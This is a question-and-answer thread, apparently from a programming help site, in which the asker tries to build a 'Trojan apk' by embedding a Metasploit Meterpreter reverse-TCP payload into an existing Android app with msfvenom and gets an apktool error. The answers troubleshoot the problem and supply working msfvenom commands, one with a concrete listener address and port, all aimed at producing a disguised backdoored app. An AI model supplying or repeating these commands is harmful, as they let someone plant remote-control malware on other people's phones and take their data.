0

I’m trying to create a Trojan apk for android using metasploit, this is the command I’m using:

msfvenom -a dalvik --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk

And I'm getting this error:

Error: Malformed version number string  10:55:45 up  1:23,  1 user,  load average: 0.62, 0.54, 0.39
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user123  tty7     :0               09:32    1:23m  1:10   0.13s /sbin/upstart --user
2.0.2-dirty

Then I tried selecting different architecture e.g. java:

msfvenom -a java --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk

and it worked (something-Out.apk was generated). So it seems like the Malformed version number string error only happens when dalvik is selected as the architecture, any idea why this is happening and how to fix it?

I'm doing this on Ubuntu on VirtualBox, which is run from a Mac. Any help will be appreciated, thanks!

Felicia Agatha
  • 359
  • 5
  • 11

3 Answers3

1

Credits to:

https://forums.hak5.org/index.php?/topic/38648-msfvenom-error-ubuntu-1604/

Had the same problem, but I was trying to run a simpler version of the code (which works obviously). After searching in forums, turned out to be a problem with apktool. I downloaded apktool using sudo apt-get install apktool, but that version doesn't work as it should.

Once removed with sudo apt-get remove apktool I downloaded the latest version from the website and it worked.

I know it's been a year, but I've been searching for days. Hope it helps... someone.

Peropoko
  • 11
  • 1
0

I had the same problem with msfvenom. Try running "msfupdate" it will download a 70 mib package and it will fix your problem.

ASK Arjun
  • 111
  • 1
  • 18
0

You just need follow this syntax:

EX:

rmsfvenom -a java --platform android -x z.apk -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.1.19 LPORT=4444 -o o.apk

So also if you using -o will not need 'R'

WitBlack
  • 37
  • 4